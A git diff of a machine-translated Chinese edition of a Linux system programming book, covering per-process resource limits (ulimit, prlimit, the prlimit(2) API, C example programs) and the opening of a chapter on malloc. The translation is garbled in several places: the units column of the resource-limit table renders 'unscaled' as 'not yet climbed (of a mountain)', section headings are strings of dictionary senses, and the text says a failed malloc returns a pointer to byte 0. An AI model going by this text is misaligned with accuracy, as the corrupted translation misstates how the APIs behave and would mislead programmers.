-s) 8192 -cpu time (seconds, -t) unlimited -max user processes (-u) 63260 -virtual memory (kbytes, -v) unlimited -file locks (-x) unlimited -$ -``` - -当我们运行具有以下两项的`ulimit`时: - -* `-aS`:显示所有软资源限制值 -* `-aH`:显示所有硬资源限制值 - -出现了一个问题:(对于 Bash 流程)软限制和硬限制到底有什么不同? 与其试图手动解释它,不如使用超级 GUI 前端`diff`(实际上,它不仅仅是一个`diff`前端),它被称为`meld`: - -```sh -$ ps - PID TTY TIME CMD -23843 pts/6 00:00:00 bash -29305 pts/6 00:00:00 ps -$ $ ulimit -aS > ulimit-aS.txt $ ulimit -aH > ulimit-aH.txt $ meld ulimit-aS.txt ulimit-aH.txt & -``` - -Meld 比较软、硬限制资源值的截图如下所示: - -![](img/baca4e69-7511-48aa-9486-4627af191135.png) - -Figure 2: Screenshot showing meld comparing the soft and hard limit resource values - -请注意,我们运行`ps`;这是为了重申这样一个事实,即我们看到的资源限制值`/`是相对于它的(PID`23843`)。 因此,MELD 清楚地告诉我们,在典型的 Linux 系统上,默认情况下,只有两个资源限制在软硬值上有所不同:最大打开文件数(软数=1024,硬数=4096)和最大堆栈大小(软数=8192KB=8MB,硬数=无限制)。 - -`meld` is extremely valuable to developers; we often use it to (peer-) review code and make changes (merges via the right- and left-pointing arrows).  In fact, the powerful Git SCM uses `meld` as one of the available tools (with the `git mergetool` command). Install `meld` on your Linux box using the appropriate package manager for your distribution and try it out. - -# 查询和更改资源限制值 - -我们现在了解到,是内核(操作系统)设置每个进程的资源限制并跟踪使用情况,如果进程试图超出资源的硬限制,甚至会在必要时终止该进程。 这就提出了一个问题:有没有办法更改软资源限制值和硬资源限制值? 事实上,我们已经看到了:`ulimit`。 然而,更深层次的问题是:我们可以设定任何硬/软限制吗? - -内核对资源限制的改变有一定的预设规则。查询或设置进程的资源限制只能由调用进程对其自身或其拥有的进程进行;更准确地说,对于除其自身之外的任何其他进程,该进程必须设置`CAP_SYS_RESOURCE`能力位(请不要担心,有关进程能力的详细内容可以在[第 8 章](08.html)、*进程能力*中找到): - -* **查询**:任何人都可以查询自己拥有的进程的资源限制硬(当前)值。 -* **设置**: - * 硬限制一旦设置,就不能(针对该会话)进一步增加。 - * 软限制最多只能增加到硬限制值,即软限制范围=[0,硬限制]。 - * 当用户使用`ulimit`设置资源限制时,系统在内部设置*硬限制和软限制。* 这具有重要的后果(请参阅前面的几点)。 - -设置资源限制的权限如下: - -* 特权进程(如`superuser/root/sysadmin`或具有上述`CAP_SYS_RESOURCE`功能的进程)可以增加或减少硬限制和软限制。 -* 非特权进程(非根): - * 可以将资源的软限制设置在该资源的范围[0,硬限制]内。 - * 可以不可逆转地降低资源的硬限制(一旦降低,就不能再增加,只能继续减少)。 更准确地说,可以将硬限制减小到大于或等于当前软限制的值。 - -Every good rule has an exception: a non-privileged user *can* decrease and/or increase the *core file* resource limit. This is usually to allow developers to generate a core dump (which can be subsequently analyzed via GDB). - -下面是一个快速测试案例,用于演示这一点;让我们操作最大打开文件数和资源限制: - -```sh -$ ulimit -n -1024 -$ ulimit -aS |grep "open files" -open files (-n) 1024 -$ ulimit -aH |grep "open files" -open files (-n) 4096 -$ -$ ulimit -n 3000 -$ ulimit -aS |grep "open files" -open files (-n) 3000 -$ ulimit -aH |grep "open files" -open files (-n) 3000 -$ ulimit -n 3001 -bash: ulimit: open files: cannot modify limit: Operation not permitted -$ ulimit -n 2000 -$ ulimit -n -2000 -$ ulimit -aS |grep "open files" -open files (-n) 2000 -$ ulimit -aH |grep "open files" -open files (-n) 2000 -$ ulimit -n 3000 -bash: ulimit: open files: cannot modify limit: Operation not permitted -$ -``` - -前面的命令解释如下: - -* 当前软限制为 1,024(默认值) -* 软限制为 1024,硬限制为 4096 -* 使用`ulimit`,我们将限制设置为 3,000;这在内部导致软限制和硬限制都设置为 3,000 -* 尝试将该值设置得更高(设置为 3,001)失败 -* 成功地将价值降低(至 2,000) -* 不过,请再次认识到,软限制和硬限制都设置为 2,000 -* 尝试返回到以前的有效值失败(3,000);这是因为现在的有效范围是[0,2,000] - -使用 root 访问测试这一点留给读者作为练习;不过,请参阅下面的*警告*一节。 - -# 注意事项 - -需要考虑的事项和适用的例外情况: - -* 即使可以,增加资源限制也可能弊大于利;仔细考虑一下您在这里试图实现的目标。 让自己处于恶意黑客的心态(回想一下(DDoS 攻击)。 在这两个服务器类以及高度资源受限的系统(通常是嵌入式系统)上,适当设置资源限制可以帮助降低风险。 -* 将资源限制设置为更高的值需要 root 权限。 例如:我们希望将最大打开文件资源限制从 1,024 提高到 2,000。 人们会认为使用`sudo`应该可以完成这项工作。 然而,起初令人惊讶的是,像`sudo ulimit -n 2000`这样的东西不会起作用! 为什么? 嗯,当您运行它时,`sudo`期望`ulimit`是一个二进制可执行文件,因此会在`PATH`中搜索它;但当然,事实并非如此:`ulimit`是一个内置的 shell 命令,因此无法启动。 所以,试着这样做: - -```sh -$ ulimit -n -1024 -$ sudo bash -c "ulimit -n 2000 && exec ulimit -n" -[sudo] password for kai: xxx -2000 -$ -``` - -不要担心,如果您不完全理解为什么我们在前面的代码片段中使用*exec*;有关*exec*语义的确切细节将在[第 9 章](09.html)、*流程执行中介绍。* - -* 例外-您似乎无法更改最大管道大小资源限制。 - -Advanced: The default maximum pipe size is actually in `/proc/sys/fs/pipe-max-size` and defaults to 1 MB (from Linux 2.6.35). What if the programmer must change the pipe size? To do so, one could use the `fcntl(2)`system call, via the `F_GETPIPE_SZ` and `F_SETPIPE_SZ` parameters. Refer to the *fcntl(2)* man page for details. - -# 关于 prlimit 实用程序的快速说明 - -除了使用`ulimit`之外,查询和显示资源限制的另一个前端是`prlimit`实用程序。 `prlimit`与`ulimit`在以下方面不同: - -* 这是一个更新、更现代的界面(Linux 内核版本 2.6.36 以后) -* 它可用于根据需要修改限制*和*启动另一个将继承新限制的程序(这是一个有用的功能;请参阅以下示例) -* 它本身是一个二进制可执行程序,而不是像`ulimit`那样的内置程序 - -在没有任何参数的情况下,`prlimit`显示调用进程(本身)的资源限制。 用户可以选择性地传递资源限制``对以设置相同的值、查询/设置资源限制的进程的 PID 或使用新设置的资源限制启动的命令。 以下是其手册页的摘要: - -```sh -prlimit [options] [--resource[=limits] [--pid PID] -prlimit [options] [--resource[=limits] command [argument...] -``` - -请注意`--pid`和`command`选项是如何相互排斥的。 - -# 使用 prlimit(1)-示例 - -示例 1-查询限制: - -```sh -$ prlimit -``` - -前面命令的输出如下所示: - -![](img/0f483e82-6b24-4d49-9316-a3ef79eb63ef.png) - -```sh -$ ps - PID TTY TIME CMD - 2917 pts/7 00:00:00 bash - 3339 pts/7 00:00:00 ps -$ prlimit --pid=2917 -RESOURCE DESCRIPTION SOFT HARD UNITS -AS address space limit unlimited unlimited bytes -CORE max core file size unlimited unlimited bytes -CPU CPU time unlimited unlimited seconds -[...] -$ -``` - -在这里,为了提高可读性,我们对输出进行了缩写。 - -示例 2-设置(前面)shell 进程的最大文件大小和最大堆栈大小的资源限制: - -```sh -$ prlimit --pid=2917 --fsize=2048000 --stack=12582912 -$ prlimit --pid=2917 | egrep -i "fsize|stack" -FSIZE max file size 2048000 2048000 bytes -STACK max stack size 12582912 12582912 bytes -$ -``` - -例 3-一个生成素数的程序,`rlimit_primes`,让它生成大量的素数,但只给它两秒钟的 CPU 时间来这样做。 - -Note that the `rlimit_primes` program, along with its source code, is described in detail in the *API interfaces* section. - -目前,我们只在内置的`prlimit `程序范围内运行它,确保`rlimit_primes`*和*进程只获得我们通过`prlimit --cpu=`*和*选项开关传递的 CPU 带宽(以秒为单位)。 在该示例中,我们确保以下事项: - -* 我们将给质数生成器进程两秒钟(通过`prlimit`) -* 我们将`-2`作为第二个参数传递;这将导致`rlimit_primes`*和*程序跳过设置 CPU 资源限制本身 -* 我们要求它生成最多 8,000,000 个素数: - -```sh -$ ./rlimit_primes -Usage: ./rlimit_primes limit-to-generate-primes-upto CPU-time-limit - arg1 : max is 10000000 - arg2 : CPU-time-limit: - -2 = don't set - -1 = unlimited - 0 = 1s -$ prlimit --cpu=2 ./rlimit_primes 8000000 -2 - 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, - 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, - - [...] - - 18353, 18367, 18371, 18379, 18397, 18401, 18413, 18427, 18433, 18439, - 18443, 18451, 18457, 18461, 18481, 18493, 18503, 18517, 18521, 18523, - 18539, 18541, 18553, 18583, 18587, 18593, -Killed -$ -``` - -请注意,一旦它耗尽了新限制的 CPU 时间资源(在上例中为两秒),它就会被内核杀死! (从技术上讲,由`SIGKILL`信号表示;[第 11 章](11.html),*信号-第 I 部分*和[第 12 章](12.html),*信号-第 II 部分*中有更多关于信号的信息。)请注意单词**`Killed`**是如何出现的,表示操作系统已终止进程。 - -有关详细信息,请参阅`prlimit(1)`上的手册页。 - -A practical case: When running fairly heavy software such as Eclipse and Dropbox, I have found it necessary to bump up the resource limits for them (as advised); otherwise, they abort as they run out of resources. - -Advanced: From the Linux kernel version 2.6.24 onward, one can look up the resource limits for a given process PID via the powerful `proc` filesystem: `/proc//limits`. - -# API 接口 - -查询和/或设置资源限制可以通过以下 API 编程实现-系统调用: - -* `getrlimit` -* `setrlimit` -* `prlimit` - -其中,我们只关注`prlimit(2)`;`[get|set]rlimit(2)`是一个较旧的界面,有相当多的问题(Bug),通常被认为是过时的。 - -For `prlimit(2)` to work properly, one must be running on Linux kernel version 2.6.36 or later. How does one determine the Linux kernel version one is running on? -Simple: use the `uname` utility to query the kernel version: - -`$ uname -r` -`4.14.11-300.fc27.x86_64` -`$` - -让我们回到之前的`prlimit(2)`系统调用 API: - -```sh -#include -#include - -int prlimit(pid_t pid, int resource, - const struct rlimit *new_limit, struct rlimit *old_limit); -``` - -`prlimit()`系统调用可用于查询和设置给定进程的给定资源限制(每个调用只有一个资源限制)。 它接收四个参数;第一个参数`pid`是要操作的进程的 PID。 特殊的`0`值暗示它作用于调用进程本身。 第二个参数 resource*,*是我们希望查询或设置的资源限制的名称(完整列表请参阅下表)。 第三个和第四个参数都是指向`struct rlimit`的指针;如果非空,则第三个参数是我们要设置的新值(这就是为什么它被标记为`const`);如果非空,则第四个参数是我们将接收先前(或旧)限制的结构。 - -Experienced C programmers will realize how easy it is to create bugs. It's the programmer's responsibility to ensure that the memory for the *rlimit* structures (third and fourth parameters), if used, must be allocated*;* the OS certainly does not allocate memory for these structures. - -`rlimit`结构包含两个成员,分别为软限制和硬限制(分别为`rlim_cur `和`rlim_max`): - -```sh -struct rlimit { - rlim_t rlim_cur; /* Soft limit */ - rlim_t rlim_max; /* Hard limit (ceiling for rlim_cur) */ -}; -``` - -回到第二个参数 resource,它是我们希望查询或设置的资源限制的编程名称。 下表列出了它们全部: - -| **资源限制** | **程序化****name (use in API)** | **默认值** | **单元** | -| `max core file size` | `RLIMIT_CORE` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max data segment size` | `RLIMIT_DATA` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max scheduling priority (*nice*)` | `RLIMIT_NICE` | `0` | (山)尚未被攀登的 | -| `max file size` | `RLIMIT_FSIZE` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max (real-time) pending signals` | `RLIMIT_SIGPENDING` | `` | (山)尚未被攀登的 | -| `max locked memory` | `RLIMIT_MEMLOCK` | `` | 千字节 / 同 kilobyte 或 kilobytes | -| `max open files` | `RLIMIT_NOFILE` | `1024` | (山)尚未被攀登的 | -| `max POSIX message queues` | `RLIMIT_MSGQUEUE` | `` | (山)尚未被攀登的 | -| `max real-time priority` | `RLIMIT_RTTIME` | `0` | 微秒 | -| `max stack segment size` | `RLIMIT_STACK` | `8192` | 千字节 / 同 kilobyte 或 kilobytes | -| `max CPU time` | `RLIMIT_CPU` | `unlimited` | 秒 / 片刻 / 第二名 / 瞬间 | -| `max user processes` | `RLIMIT_NPROC` | `` | (山)尚未被攀登的 | -| `address space limit or max virtual memory` | `RLIMIT_AS  ` -(AS=地址空间) | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max file locks held` | `RLIMIT_LOCKS` | `*unlimited*` | *未缩放* | - -请注意以下几点: - -* 资源值的`RLIM_INFINITY`值表示没有限制。 -* 提醒读者会注意到,没有`max pipe size`的条目(如上表中所示);这是因为无法通过`prlimit(2)`API 修改此资源。 -* 从技术上讲,要修改资源限制值,流程需要`CAP_SYS_RESOURCE`功能(功能在[章 8](08.html),*流程功能*中有详细说明)。 现在,让我们使用传统的方法,假设要更改进程的资源限制,用户需要拥有进程(或者是 root 用户;作为 root 用户或超级用户几乎是所有规则的捷径)。 - -# 代码示例 - -以下两个 C 程序用于演示`prlimit(2)`API 的用法: - -* 第一个程序`rlimits_show.c`查询当前或调用进程的所有资源限制,并打印出它们的值。 -* 第二个在给定 CPU 资源限制(以秒为单位)的情况下,在该限制的影响下运行一个简单的质数生成器。 - -For readability, only the relevant parts of the code are displayed. To view and run it, the entire source code is available at [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux)*.* - -请参阅以下代码: - -```sh -/* From ch3/rlimits_show.c */ -#define ARRAY_LEN(arr) (sizeof((arr))/sizeof((arr)[0])) -static void query_rlimits(void) -{ - unsigned i; - struct rlimit rlim; - struct rlimpair { - int rlim; - char *name; - }; - struct rlimpair rlimpair_arr[] = { - {RLIMIT_CORE, "RLIMIT_CORE"}, - {RLIMIT_DATA, "RLIMIT_DATA"}, - {RLIMIT_NICE, "RLIMIT_NICE"}, - {RLIMIT_FSIZE, "RLIMIT_FSIZE"}, - {RLIMIT_SIGPENDING, "RLIMIT_SIGPENDING"}, - {RLIMIT_MEMLOCK, "RLIMIT_MEMLOCK"}, - {RLIMIT_NOFILE, "RLIMIT_NOFILE"}, - {RLIMIT_MSGQUEUE, "RLIMIT_MSGQUEUE"}, - {RLIMIT_RTTIME, "RLIMIT_RTTIME"}, - {RLIMIT_STACK, "RLIMIT_STACK"}, - {RLIMIT_CPU, "RLIMIT_CPU"}, - {RLIMIT_NPROC, "RLIMIT_NPROC"}, - {RLIMIT_AS, "RLIMIT_AS"}, - {RLIMIT_LOCKS, "RLIMIT_LOCKS"}, - }; - char tmp1[16], tmp2[16]; - - printf("RESOURCE LIMIT SOFT HARD\n"); - for (i = 0; i < ARRAY_LEN(rlimpair_arr); i++) { - if (prlimit(0, rlimpair_arr[i].rlim, 0, &rlim) == -1) - handle_err(EXIT_FAILURE, "%s:%s:%d: prlimit[%d] failed\n", - __FILE__, __FUNCTION__, __LINE__, i); - - snprintf(tmp1, 16, "%ld", rlim.rlim_cur); - snprintf(tmp2, 16, "%ld", rlim.rlim_max); - printf("%-18s: %16s %16s\n", - rlimpair_arr[i].name, - (rlim.rlim_cur == -1 ? "unlimited" : tmp1), - (rlim.rlim_max == -1 ? "unlimited" : tmp2) - ); - } -} -``` - -让我们试试看: - -```sh -$ make rlimits_show -[...] -$ ./rlimits_show -RESOURCE LIMIT SOFT HARD -RLIMIT_CORE : unlimited unlimited -RLIMIT_DATA : unlimited unlimited -RLIMIT_NICE : 0 0 -RLIMIT_FSIZE : unlimited unlimited -RLIMIT_SIGPENDING : 63229 63229 -RLIMIT_MEMLOCK : 65536 65536 -RLIMIT_NOFILE : 1024 4096 -RLIMIT_MSGQUEUE : 819200 819200 -RLIMIT_RTTIME : unlimited unlimited -RLIMIT_STACK : 8388608 unlimited -RLIMIT_CPU : unlimited unlimited -RLIMIT_NPROC : 63229 63229 -RLIMIT_AS : unlimited unlimited -RLIMIT_LOCKS : unlimited unlimited -$ ulimit -f -unlimited -$ ulimit -f 512000 -$ ulimit -f -512000 -$ ./rlimits_show | grep FSIZE -RLIMIT_FSIZE : 524288000 524288000 -$ -``` - -我们首先使用该程序来转储所有资源限制。 然后,我们查询文件大小资源限制,修改它(使用`ulimit`将其从无限降低到大约 512KB),然后再次运行程序,这反映了更改。 - -现在,对于第二个程序;在给定 CPU 资源限制(以秒为单位)的情况下,我们在该 CPU 资源限制的影响下运行一个简单的素数生成器。 - -为便于阅读,显示了源代码的相关部分(相关源文件为`ch3/rlimit_primes.c`)。 - -下面是简单的素数生成器函数: - -```sh -#define MAX 10000000 // 10 million -static void simple_primegen(int limit) -{ - int i, j, num = 2, isprime; - - printf(" 2, 3, "); - for (i = 4; i <= limit; i++) { - isprime = 1; - for (j = 2; j < limit / 2; j++) { - if ((i != j) && (i % j == 0)) { - isprime = 0; - break; - } - } - if (isprime) { - num++; - printf("%6d, ", i); - /* Wrap after WRAP primes are printed on a line; - * this is crude; in production code, one must query - * the terminal window's width and calculate the column - * to wrap at. - */ -#define WRAP 16 - if (num % WRAP == 0) - printf("\n"); - } - } - printf("\n"); -} -``` - -下面是为传递的参数设置 CPU 资源限制的函数,该参数是以秒为单位的时间: - -```sh -/* - * Setup the CPU resource limit to 'cpulimit' seconds - */ -static void setup_cpu_rlimit(int cpulimit) -{ - struct rlimit rlim_new, rlim_old; - - if (cpulimit == -1) - rlim_new.rlim_cur = rlim_new.rlim_max = RLIM_INFINITY; - else - rlim_new.rlim_cur = rlim_new.rlim_max = (rlim_t)cpulimit; - - if (prlimit(0, RLIMIT_CPU, &rlim_new, &rlim_old) == -1) - FATAL("prlimit:cpu failed\n"); - printf - ("CPU rlimit [soft,hard] new: [%ld:%ld]s : old [%ld:%ld]s (-1 = unlimited)\n", - rlim_new.rlim_cur, rlim_new.rlim_max, rlim_old.rlim_cur, - rlim_old.rlim_max); -} -``` - -在下面的代码中,我们首先只进行一次快速测试运行--我们打印前 100 个素数,并保持 CPU 资源限制值不变(它通常缺省为无限大)。 然后,我们调用它来打印前 90,000 个素数,并为其提供 5 秒的 CPU 时间。 正如预期的那样(在现代硬件上),两者都成功了: - -```sh -$ prlimit | grep "CPU time" -CPU CPU time unlimited unlimited seconds -$ ./rlimit_primes -Usage: ./rlimit_primes limit-to-generate-primes-upto CPU-time-limit - arg1 : max is 10000000 - arg2 : CPU-time-limit: - -2 = don't set - -1 = unlimited - 0 = 1s -$ ./rlimit_primes 100 -2 - 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, - 59, 61, 67, 71, 73, 79, 83, 89, 97, -$ -$ ./rlimit_primes 90000 5 CPU rlimit [soft,hard] new: [5:5]s : old [-1:-1]s (-1 = unlimited) 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, -[...] - -89753, 89759, 89767, 89779, 89783, 89797, 89809, 89819, 89821, 89833, 89839, 89849, 89867, 89891, 89897, 89899, 89909, 89917, 89923, 89939, 89959, 89963, 89977, 89983, 89989, -$ -``` - -现在有趣的是:我们调用`rlimit_primes`来打印前 200,000 个素数,只有一秒的 CPU 时间可用;这次它失败了(请注意,我们将标准输出重定向到一个临时文件,这样我们就不会被所有的输出分心): - -```sh -$ prlimit | grep "CPU time" CPU CPU time unlimited unlimited seconds -$ ./rlimit_primes 200000 1 > /tmp/prm -Killed -$ tail -n1 /tmp/prm - 54727, 54751, 54767, 54773, 54779, 54787, 54799, 54829, 54833, 54851, 54869, 54877, 54881, $ -``` - -为什么它会失败呢? 显然,CPU 资源限制(仅 1 秒)太小,无法完成给定任务;当进程试图超过此限制时,它会被内核终止。 - -A note to advanced readers: one can use the very powerful and versatile `perf(1)` Linux utility to see this too: - -`$ sudo **perf stat** ./rlimit_primes 200000 1 >/tmp/prm` -`./rlimit_primes: **Killed**` - -`Performance counter stats for './rlimit_primes 200000 1':` - -`  1001.917484   task-clock (msec)  # 0.999 CPUs utilized` -`           17   context-switches   # 0.017 K/sec` -`            1   cpu-migrations     # 0.001 K/sec` -`           51   page-faults        # 0.051 K/sec` -`3,018,577,481   cycles             # 3.013 GHz` -`5,568,202,738   instructions       # 1.84 insn per cycle` -`  982,845,319   branches           # 980.964 M/sec` -`       88,602   branch-misses      # 0.01% of all branches` - -`**1.002659905 seconds time elapsed**` - -`$` - -# 永久(性),持久(性) - -我们已经演示了,在它的操作框架内,确实可以使用前端(如`ulimit, prlimit(1)`)以及通过库和系统调用 API 以编程方式查询和设置每个进程的资源限制。 然而,我们所做的改变是暂时的--仅针对该进程的生命周期或本届会议的生命周期。 如何使资源限制值更改永久化? - -Unix 的方法是使用驻留在文件系统上的(ASCII-TEXT)配置文件。 特别是,在大多数 Linux 发行版上,编辑`/etc/security/limits.conf`配置文件就是答案。 我们不会在这里深入研究细节;如果感兴趣,请查看`limits.conf(5)`上的手册页。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -本章最初深入探讨了每个进程资源限制背后的动机以及我们为什么需要这些限制。 我们还解释了资源限制的粒度和类型,区分了软限制和硬限制。 然后,我们了解了用户(或系统管理员)如何使用适当的 CLI 前端(`ulimit(1)`、`prlimit(1)`)查询和设置每个进程的资源限制。 - -最后,我们详细介绍了编程接口(API)--实际上就是`prlimit(2)`系统调用。 两个详细的代码示例(查询限制和设置 CPU 使用限制)结束了讨论。 - -在下一章中,我们将了解关键的动态内存管理 API 及其正确用法。 我们将远远超越使用典型`malloc()`API 的基础,深入研究一些微妙而重要的内部细节。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/04.md b/docs/handson-sys-prog-linux/04.md deleted file mode 100644 index 540d4324..00000000 --- a/docs/handson-sys-prog-linux/04.md +++ /dev/null @@ -1,1503 +0,0 @@ -# 四、动态内存分配 - -在本章中,我们将深入研究现代操作系统上系统编程的一个关键方面--动态(运行时)内存分配和释放的管理。 我们将首先介绍用于动态分配和释放内存的基本 glibcAPI。 然后,我们将超越这些基础知识,研究 VAS 中的程序中断以及`malloc(3)`在不同环境下的行为。 - -然后,我们将让读者沉浸在一些高级讨论中:请求分页、内存锁定和保护,以及`alloca`API 的使用。 - -代码示例为读者提供了以动手方式探索这些主题的机会。 - -在本章中,我们将介绍以下主题: - -* 基本的 glibc 动态内存管理 API 及其在代码中的正确用法 -* 程序中断(以及通过`sbrk(3)`API 进行管理) -* 分配不同内存量时`malloc(3)`的内部行为 -* 高级功能: - * 按需寻呼的概念 - * 内存锁定 - * 内存区保护 - * 使用`alloca (3)`API 替代 - -# Glibc malloc(3)API 家族 - -在[第 2 章](02.html),*虚拟内存*中,我们了解到在使用**虚拟地址空间**(**VAS**)的过程中,有一些区域或段可以使用动态内存分配。 **堆段**就是这样一个动态区域--免费赠送内存给进程以供其运行时使用。 - -开发人员究竟是如何利用这种内存天赋的呢? 不仅如此,开发人员必须非常小心地将内存*分配*与后续内存*释放*相匹配,否则系统将不会喜欢它! - -**GNU C 库**(**glibc**)提供了一组很小但功能强大的 API,使开发人员能够管理动态内存;本节将详细介绍它们的用法。 - -正如您将看到的,内存管理 API 实际上只有几个:`malloc(3)`、`calloc`、`realloc`和`free`。 尽管如此,正确使用它们仍然是一个挑战! 接下来的章节(和章节)将揭示为什么会出现这种情况。 继续读下去! - -# Malloc(3)API - -也许应用开发人员使用的最常见的 API 之一是著名的`malloc(3)`*。* - -The `foo(3)` syntax indicates that the `foo` function is in section 3 of the manual (the man pages) – a library API, not a system call. We recommend you develop the habit of reading the man pages. The man pages are available online, and you can find them at [https://linux.die.net/man/](https://linux.die.net/man/)*.* - -我们使用*`malloc(3)`在运行时动态分配内存块。 这与静态或编译时动态内存分配相反,在静态或编译时动态内存分配中,我们会做出如下声明: - -```sh -char buf[256]; -``` - -在前面的情况下,内存是静态分配的(在编译时)。 - -那么,你到底是如何使用`malloc(3)`的呢? 让我们来看看它的签名: - -```sh -#include -void *malloc(size_t size); -``` - -`malloc(3)`的参数是要分配的字节数。 但是,`size_t`数据类型是什么呢? 显然,它不是 C 基元数据类型;它是典型 64 位平台上的`typedef – long unsigned int`(确切的数据类型因平台而异;重要的一点是它始终是无符号的-它不能是负数。 在 32 位 Linux 上,它将被命名为`unsigned int`)。 确保代码与函数签名和数据类型精确匹配对于编写健壮而正确的程序至关重要。 在此期间,请确保包括手册页与 API 签名一起显示的头文件。 - -To print a variable of the `size_t` type within a `printf`, use the **`%zu`** format specifier: -`size_t sz = 4 * getpagesize();` -`[...]` -`printf("size = %zu bytes\n", sz);` - -在本书中,我们不会深入研究关于`malloc(3)`和 Friends 如何实际存储、分配和释放内存的内部实现细节(请参阅 GitHub 存储库的*进一步阅读*部分。)。 可以说,内部实现力求尽可能高效;使用这些 API 通常被认为是执行内存管理的正确方式。 - -如果成功,返回值是指向新分配的内存区第 0 个字节的指针;如果失败,返回值是指向第 0 个字节的指针。 - -You will come across, shall we say *optimists*, who say things such as, "Don't bother checking malloc for failure, it never fails". Well, take that sage advice with a grain of salt. While it's true that malloc would rarely fail, the fact is (as you shall see), it could fail. Writing defensive code – code that checks for the failure case immediately – is a cornerstone of writing solid, robust programs. - -因此,使用 API 非常简单:例如,动态分配 256 字节的内存,并将指向新分配区域的指针存储在参数`ptr`变量中: - -```sh -void *ptr; -ptr = malloc(256); -``` - -另一个典型的例子是,程序员需要为数据结构分配内存;让我们称其为`struct sbar`。 您可以这样做: - -```sh - struct sbar { - int a[10], b[10]; - char buf[512]; - } *psbar; - - psbar = malloc(sizeof(struct sbar)); - // initialize and work with it - [...] - free(psbar); -``` - -嘿,精明的读者! 检查一下故障案例怎么样? 这是一个关键点,因此我们将这样重写前面的代码(当然,`malloc(256)`代码片段也是如此): - -```sh -struct [...] *psbar; -sbar = malloc(sizeof(struct sbar)); -if (!sbar) { - *<... handle the error ...>* -} -``` - -让我们使用功能强大的跟踪工具之一`ltrace`来检查这是否按预期工作;`ltrace`用于显示进程执行路径中的所有库 API(类似地,使用`strace`跟踪所有系统调用)。 假设我们编译了前面的代码,生成的二进制可执行文件名为`tst`: - -```sh -$ ltrace ./tst -malloc(592) = 0xd60260 -free(0xd60260) = -exit(0 -+++ exited (status 0) +++ -$ -``` - -我们可以清楚地看到`malloc(3)`(以及我们使用的示例结构在 x86_64 上占用了 592 字节),以及它的返回值(跟在`=`符号后面)。 紧随其后的是`free`API,然后它简单地退出。 - -重要的是要理解,由`malloc(3)`分配的内存块的*内容*被认为是随机的。 因此,程序员有责任在读取内存之前对其进行初始化;如果您做不到这一点,则会导致名为**Uninitialized Memory Read**(**UMR***)和*的 bug(下一章将对此进行详细介绍)。 - -`malloc(3)` always returns a memory region that is aligned on an 8-byte boundary. Need larger alignment values? Use the `posix_memalign(3)` API. Deallocate its memory as usual with free(3). -Details can be found on the man page at [https://linux.die.net/man/3/posix_memalign](https://linux.die.net/man/3/posix_memalign).Examples of using the `posix_memalign(3)` API can be found in the *Locking memory* and *Memory protection* sections. - -# 马洛克(3) - -以下是一些常见问题解答,有助于我们更多地了解`malloc(3)`: - -* 常见问题 1:`malloc(3)`一次调用可以分配多少内存? - -从实际意义上讲,这是一个相当无意义的问题,但这是一个经常被问到的问题! - -`malloc(3)`的参数是`size_t`数据类型的整数值,因此,从逻辑上讲,我们可以作为参数传递给`malloc(3)`的最大值是`size_t`在平台*上可以采用的最大值。* 实际上,在 64 位 Linux 上,`size_t`将是 8 个字节,当然,以位为单位是 8*8=64。 因此,在单个`malloc(3)`调用中可以分配的最大内存量是`2^64`! - -那么,多少钱呢? 让我们进行实验(请务必阅读[第 19 章](19.html)、*故障排除和最佳实践*以及其中关于*经验方法*的简要讨论)。并实际尝试一下(请注意,必须使用`-lm`开关将以下代码片段链接到数学库): - -```sh - int szt = sizeof(size_t); - float max=0; - max = pow(2, szt*8); - printf("sizeof size_t = %u; " - "max value of the param to malloc = %.0f\n", - szt, max); -``` - -X86_64 上的输出: - -**`sizeof size_t = 8; max param to malloc = 18446744073709551616`** - -啊哈! 这是一个非常大的数字;更具可读性的是,它如下所示: - -`2^64 = 18,446,744,073,709,551,616 = 0xffffffffffffffff` - -那就是 16EB(艾字节,相当于 16384PB,相当于 1600 万 TB)! - -因此,在 64 位操作系统上,`malloc(3)`在一次调用中最多可以分配 16 个 EB。 理论上是这样的。 - -As usual, there's more to it: please see *FAQ 2*; it will reveal that the *theoretical* answer to this question is **8 exabytes** (8 EB). - -显然,在实践中,这是不可能的,因为,当然,这就是流程本身的整个用户模式 VAS。 实际上,可以分配的内存量受到堆上连续可用的空闲内存量的限制。 实际上,还有更多的事情要做。 正如我们很快就会了解到的(在第*节中,malloc(3)的实际行为*部分),对 Mallloc`malloc(3)`的记忆也可以来自 VAS 的其他区域。 别忘了数据段大小是有资源限制的;默认值通常是无限制的,正如我们在本章中讨论的那样,这实际上意味着操作系统没有人为的限制。 - -因此,在实践中,最好是明智的,不要做任何假设,并检查返回值是否为空。 - -顺便说一句,`size_t`在 32 位操作系统上可以采用的最大值是多少?因此,我们通过将`-m32`开关传递给编译器,在 x86_64 上编译 32 位操作系统: - -```sh -$ gcc -m32 mallocmax.c -o mallocmax32 -Wall -lm -$ ./mallocmax32 -*** max_malloc() *** -sizeof size_t = 4; max value of the param to malloc = 4294967296 -[...] -$ -``` - -显然,它是 4 GB(GB)-同样,32 位进程的整个 VAS。 - -* 常见问题 2:如果我将`malloc(3)`作为否定参数传递,该怎么办? - -`malloc(3)`的参数`size_t`的数据类型是一个无符号整数*和*数量-它不能为负。 但是,人类并不完美,**整数溢出**(**IOF**)bug 确实存在! 您可以想象这样一个场景:程序尝试计算要分配的字节数,如下所示: - -`num = qa * qb;` - -如果`num`被声明为有符号整数变量,并且`qa`和`qb`足够大,以至于乘法运算的结果导致溢出,该怎么办? 然后,`num`的结果会变成负值!当然,`malloc(3)`应该会失败。 但稍等一下:如果把`num`这个变量声明为`size_t`(应该是这样的),负量就会变成一些正量! - -`mallocmax`程序对此有一个测试用例。 